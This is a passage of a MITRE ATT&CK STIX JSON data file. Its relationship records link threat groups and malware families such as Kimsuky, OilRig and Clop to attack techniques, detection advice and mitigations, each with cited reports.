2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.674Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has collected data from a compromised network.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--162772ee-960e-4b14-9c90-0d86ef3e5cf8","type":"relationship","created":"2020-01-30T18:42:08.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T18:42:08.533Z","relationship_type":"revoked-by","source_ref":"attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1628074c-99e3-42b3-bea9-85c7fe6a6bb8","type":"relationship","created":"2020-01-24T15:11:03.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:11:03.012Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1628f41f-4941-40d7-a11c-1f345925ab6e","type":"relationship","created":"2021-06-10T15:17:41.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:17:41.897Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to execute its payload via PowerShell.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--162a051d-a551-4b8c-875a-75264768e541","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-20T17:34:12.521Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1631a8e5-36e6-4468-9ed6-48df1138461c","type":"relationship","created":"2019-08-26T13:09:57.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-30T02:10:54.887Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) automatically encrypts files before sending them to the C2 server.(Citation: ESET TeleBots Oct 2018) ","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1637c874-852e-4ab9-b6e0-2c855da74ef0","type":"relationship","created":"2021-02-08T20:30:30.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:04:49.116Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) has performed vulnerability scans of the target server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--163851e2-5236-41cb-897f-06e33624c3ec","type":"relationship","created":"2021-06-18T15:26:55.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-09-07T20:45:41.675Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) searches for the kubectl binary.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--163c1ca5-c5cb-4cc8-b9e4-d0a137d41e52","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}],"modified":"2019-06-28T20:48:52.483Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using the LoadLibrary API.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16446d10-cf55-4e1e-bbf8-7ce6b8a2fb2b","type":"relationship","created":"2022-02-18T16:58:12.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:58:12.012Z","description":"[QuietSieve](https://attack.mitre.org/software/S0686) can download and execute payloads on a target host.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1646da26-9846-4a24-b9a6-59ebad8c9cb5","type":"relationship","created":"2021-01-27T21:26:53.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T21:26:53.128Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments. (Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--164aec0b-1e3e-4e79-b9c3-43d602a1674a","type":"relationship","created":"2019-06-18T17:20:43.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2019-06-30T23:03:26.143Z","description":"[JCry](https://attack.mitre.org/software/S0389) has encrypted files and demanded Bitcoin to decrypt those files. (Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--164bf2ab-9c45-4cdc-8ecb-43bbe81da86b","created":"2024-02-15T14:17:21.661Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T14:17:21.662Z","description":"Monitor for newly constructed containers that repeatedly execute malicious payloads as part of persistence or privilege escalation.","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--164bf82a-10bf-4a6d-b43c-70ff11f60229","created":"2021-10-12T20:34:01.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-06T20:34:57.426Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained and used tools such as Nirsoft WebBrowserPassVIew, [Mimikatz](https://attack.mitre.org/software/S0002), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16510fcf-70a0-4da5-9b80-f4772abca436","created":"2023-10-05T12:38:44.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T12:53:47.751Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) can identify user accounts associated with a Service Principal Name and query Service Principal Names within the domain by utilizing the following scripts: `GetUserSPNs.vbs` and `querySpn.vbs`.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1652b967-e96f-4c3f-839e-2c7e07b248a7","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1652bf3a-085a-4388-839a-04858b14affd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"}],"modified":"2019-09-04T22:55:41.903Z","description":"(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--165336dd-529c-4ec0-a7ff-2608a42fa16c","created":"2024-05-20T20:20:34.914Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:20:34.914Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) modified the ld.so preload file in Linux environments to enable persistence for Winnti malware.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--165b8698-8d09-4602-9385-c5002c3eb46e","type":"relationship","created":"2022-03-16T19:21:16.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:21:16.583Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has hosted malicious payloads on DropBox including [PlugX](https://attack.mitre.org/software/S0013).(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16632684-1ef3-41bb-9ef1-97c6c3294448","type":"relationship","created":"2021-05-10T23:54:36.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-05-11T16:29:08.588Z","description":"[Clop](https://attack.mitre.org/software/S0611) has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc().(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--166326b3-6864-4667-aee9-4d7b24cc75d8","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:28:14.244Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used HTTP for C2.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pteranodon](https://attack.mitre.org/software/S0147) can use `cmd.exe` for execution on victim systems.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)","modified":"2022-04-18T18:15:20.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--166836f7-8e31-4b80-bcab-61382bc79ad0","created":"2024-02-22T22:49:23.986Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:49:23.986Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used net group commands to enumerate various Windows user groups and permissions.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--166c430d-0272-4dca-8d30-318cda0a0a63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.801Z","description":"A system info module in [CozyCar](https://attack.mitre.org/software/S0046) gathers information on the victim host’s configuration.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16713b63-7fe7-41e0-b157-2d26a406881b","created":"2023-03-17T15:08:19.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:39:06.721Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) placed LNK files into the victims' startup folder for persistence.(Citation: McAfee Lazarus Jul 2020) ","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16749b64-2091-43d5-a76f-d6f8f98c5bf4","type":"relationship","created":"2019-06-24T13:48:13.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2020-03-25T18:51:01.230Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior.(Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring.(Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense 